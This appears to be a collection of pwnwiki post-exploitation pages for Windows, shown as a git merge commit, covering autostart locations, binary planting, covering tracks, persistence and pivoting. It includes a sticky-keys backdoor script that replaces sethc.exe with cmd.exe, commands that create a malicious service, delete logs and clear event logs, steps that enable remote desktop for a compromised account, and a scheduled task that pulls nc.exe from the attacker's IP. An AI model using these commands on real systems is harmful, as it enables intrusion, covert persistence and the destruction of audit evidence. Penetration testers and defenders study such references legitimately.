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Merge pull request #54 from pwnwiki/ames_content

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Linking fixes, content fixes and content addition - Ames
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Rob Fuller 2013-12-29 07:56:06 -08:00
commit 8c04d9e203
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## Windows Autostart Locations
### Folders
| Location | Operating System |
| -------- | ---------------- |
| `%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\` | Windows NT 6.0, 6.1 |
| `%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\` | Windows 5.0, 5.1, 5.2 |
| `%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\` | Windows 9x |
| `%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\` | Windows NT 3.50, 3.51, 4.0 |
| `User\Startup\` | |
| `%windir%\Start Menu\Programs\Startup\` | |
| `%windir%\Tasks\` | |
| `%windir%\system\iosubsys\` | |
| `%windir%\system\vmm32\` | |
### Files
| Location | Operating System |
| -------- | ---------------- |
| `%windir%\dosstart.bat` | |
| `%windir%\system.ini` - [boot] "scrnsave.exe" | |
| `%windir%\system.ini` - [boot] "shell" | |
| `%windir%\system\autoexec.nt` | |
| `%windir%\system\config.nt` | |
| `%windir%\win.ini` - [windows] "load" | |
| `%windir%\win.ini` - [windows] "run" | |
| `%windir%\wininit.ini` | |
| `%windir%\winstart.bat` | |
| `c:\autoexec.bat` | |
| `c:\config.sys` | |
| `c:\explorer.exe` | |
### Registry
| Location | Function |
| -------- | -------- |
| `%windir%\dosstart.bat` | |
| `HKEY_CLASSES_ROOT\batfile\shell\open\command\` | Executed whenever a .BAT file (Batch Command) is run. |
| `HKEY_CLASSES_ROOT\comfile\shell\open\command\` | Executed whenever a .COM file (Command) is run. |
| `HKEY_CLASSES_ROOT\exefile\shell\open\command\` | Executed whenever a .EXE file (Executable) is run. |
| `HKEY_CLASSES_ROOT\jsefile\shell\open\command\` | Executed whenever a .JSE file (Encoded Javascript) is run. |
| `HKEY_CLASSES_ROOT\jsfile\shell\open\command\` | Executed whenever a .JS file (Javascript) is run. |
| `HKEY_CLASSES_ROOT\piffile\shell\open\command\` | Executed whenever a .PIF file (Portable Interchange Format) is run. |
| `HKEY_CLASSES_ROOT\scrfile\shell\open\command\` | Executed whenever a .SCR file (Screen Saver) is run. |
| `HKEY_CLASSES_ROOT\vbefile\shell\open\command\` | Executed whenever a .VBE file (Encoded Visual Basic Script) is run. |
| `HKEY_CLASSES_ROOT\vbsfile\shell\open\command\` | Executed whenever a .VBS file (Visual Basic Script) is run. |
| `HKEY_CLASSES_ROOT\wsffile\shell\open\command\` | Executed whenever a .WSF file (Windows Scripting File) is run. |
| `HKEY_CLASSES_ROOT\wshfile\shell\open\command\` | Executed whenever a .WSH file (Windows Scripting Host) is run. |
| `HKEY_CURRENT_USER\Control Panel\Desktop` | The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load` | Executed when the user logs in. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run` | Executed when the user logs in. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\` | Used only by Setup. Displays a progress dialog box as the keys are run one at a time. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\` | All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` | Executed when a user logs in. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` | The "Shell" value is monitored. This value is executed after you log in. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\` | All values in this key are executed as services, and then their autostart reference is deleted. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\` | All values in this key are executed as services. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\` | Executed by explorer.exe as soon as it has loaded. |
| `HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline` | Executed when a 16-bit Windows executable is executed. |
| `HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline` | Executed when a 16-bit DOS application is executed. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` | The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\` | All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\` | Layered Service Providers, executed before user login. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\` | Services marked to startup automatically are executed before user login. |
| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | Similar to the RunOnce key from HKEY_CURRENT_USER. |
| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\` | Similar to the Run key from HKEY_CURRENT_USER. |
## Windows Operating System Versions
From http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx:
The following table summarizes the most recent operating system version numbers.
| Operating system | Version number |
| ---------------- | -------------- |
| Windows 8.1 | 6.3 |
| Windows Server 2012 R2 | 6.3 |
| Windows 8 | 6.2 |
| Windows Server 2012 | 6.2 |
| Windows 7 | 6.1 |
| Windows Server 2008 R2 | 6.1 |
| Windows Server 2008 | 6.0 |
| Windows Vista | 6.0 |
| Windows Server 2003 R2 | 5.2 |
| Windows Server 2003 | 5.2 |
| Windows XP 64-Bit Edition | 5.2 |
| Windows XP | 5.1 |
| Windows 2000 | 5.0 |
## References
A large portion of this content came from https://web.archive.org/web/20110203184210/http://www.easy-data.no/Autostart.html

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# Windows Binary Planting
Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges.
| Command | Description / Importance |
| ------- | ------------------------ |
| `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. |
| `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 |
| `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. |
| `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. |
|<code>Replacing file as: sethc.exe<br>@echo off <br>c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul <br>if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul <br>cmd %SYSTEMROOT%\System32\cmdsys\ > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul <br>copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul <br>copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul<br>exit</code> | By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. |

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<!-- Code for collapse and expand -->
<script type="text/javascript">
$(document).ready(function() {
$('div.view').hide();
$('div.slide').click(function() {
$(this).next('div.view').slideToggle('fast');
return false;
});
});
</script>
# Windows Covering Tracks Commands
Commands to run to clean up a system after you have exploited it and to reduce a target's ability to discover what you did while on their system and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
## del
### Delete Logs
* **Command with arguments**: `del %WINDIR%\*.log /a /s /q /f`
* **Description**: **MUST be run as an administrator**. Deletes all *.log files from the %WINDIR% directory.
* **Output**:
* NA
----
## wevtutil
### List Logs
* **Command with arguments**: `wevutil el`
* **Description**: Lists the different log files the system is keeping. More information can be found http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wevtutil el
Application
DFS Replication
Directory Service
DNS Server
File Replication Service
HardwareEvents
Internet Explorer
Key Management Service
Security
System
ThinPrint Diagnostics
EndpointMapper
ForwardedEvents
Microsoft-Windows-ADSI/Debug
Microsoft-Windows-Bits-Client/Analytic
Microsoft-Windows-Bits-Client/Operational
Microsoft-Windows-CAPI2/Operational
Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational
Microsoft-Windows-CodeIntegrity/Operational
Microsoft-Windows-CodeIntegrity/Verbose
Microsoft-Windows-COM/Analytic
Microsoft-Windows-CorruptedFileRecovery-Client/Operational
Microsoft-Windows-CorruptedFileRecovery-Server/Operational
Microsoft-Windows-CredUI/Diagnostic
Microsoft-Windows-DateTimeControlPanel/Analytic
Microsoft-Windows-DateTimeControlPanel/Debug
Microsoft-Windows-DateTimeControlPanel/Operational
Microsoft-Windows-DCLocator/Debug
Microsoft-Windows-Diagnosis-DPS/Analytic
Microsoft-Windows-Diagnosis-DPS/Debug
Microsoft-Windows-Diagnosis-DPS/Operational
Microsoft-Windows-Diagnosis-MSDT/Debug
Microsoft-Windows-Diagnosis-MSDT/Operational
Microsoft-Windows-Diagnosis-PLA/Debug
Microsoft-Windows-Diagnosis-PLA/Operational
Microsoft-Windows-Diagnosis-WDI/Debug
Microsoft-Windows-Diagnostics-Networking/Debug
[...snip...]</code></div>
### Clear Logs
* **Command with arguments**: `wevtutil cl [LOGNAME]`
* **Description**: **MUST be run as an administrator**. Clears the contents of a specific log.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>c:\temp>wevtutil cl Microsoft-Windows-EventLog/Debug</code></div>

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<!-- Code for collapse and expand -->
<script type="text/javascript">
$(document).ready(function() {
$('div.view').hide();
$('div.slide').click(function() {
$(this).next('div.view').slideToggle('fast');
return false;
});
});
</script>
# Windows General Persistence Commands
Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
### Enable `psexec`
The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below.
``c:\> net use \\[TargetIP]\ipc$ username /user:password
c:\> sc \\[TargetIP] config netdde start= auto
c:\> sc \\[TargetIP] config netddedsdm start= auto
c:\> sc \\[TargetIP] config clipsrv start= auto
c:\> sc \\[TargetIP] start netdde
c:\> sc \\[TargetIP] start netddedsdm
c:\> sc \\[TargetIP] start clipsrv
``
### Enable Remote Desktop
Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.
1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.
<pre>
[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
[Privilege Rights] [Privilege Rights]
seremoteinteractivelogonright = hacked_account
seinteractivelogonright = hacked_account
sedenyinteractivelogonright =
sedenyremoteinteractivelogonright =
sedenynetworklogonright =
</pre>
1. Create another file named `enable_ts.reg` containing the contents below.
<pre>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
"TSEnabled"=dword:00000001
"TSUserEnabled"=dword:00000000
</pre>
1. On the remote system, execute the following commands:
``c:\> sc config termservice start= auto sc config termservice start= auto
c:\> regedit /s enable_ts.reg
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
c:\> gpupdate /Force
c:\> net start "terminal services"
``
### Scheduler
The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.
``c:\> net use \\[TargetIP]\ipc$ password /user:username
c:\> at \\[TargetIP] 12:00 pm command
``
An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`

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# Windows Persistence Commands
Commands that help you maintain control over a compromised system.
* [Autostart Locations](autostart.md) - Where are the locations that will cause some command to auto-start on boot.
* [Binary Planting](binary.md) - Putting binary files in certain places.
* [Covering Tracks](cover.md) - Covering your tracks.
* [General Commands](general.md) - Commands your could/should use to maintain your hold on the compromised system.

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# Windows Pivoting Commands
Commands that help you pivot to other systems from a compromised system.
* [Networking Commands](windows_cmd_network.md) - Gathering system information about network interfaces and such.
* [Remote Movement](remote.md) - Commands that move data and files between systems on a network.

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# Windows CMD Commands
# Windows Presence Commands
Command that can be executed from the context of the CMD.exe prompt.
* [Config Commands](windows_cmd_config.md) - Commands that display information about the configuration of the victim.
* [Network Commands](windows_cmd_network.md) - Commands used for gathering information about the network settings and connections of a system.
* [Remote Acccess Commands](windows_cmd_remote.md) - Commands to remotely administer systems.
Command that can be executed from the context of the CMD.exe prompt that help gain insight into the configuration of the target.
* [Blind Files](blind.md) - Files to look for on the system.
* [Config](windows_cmd_config.md) - Commands that display information about the configuration of the victim.
* [Finding Files](find_files.md) - How to search for files.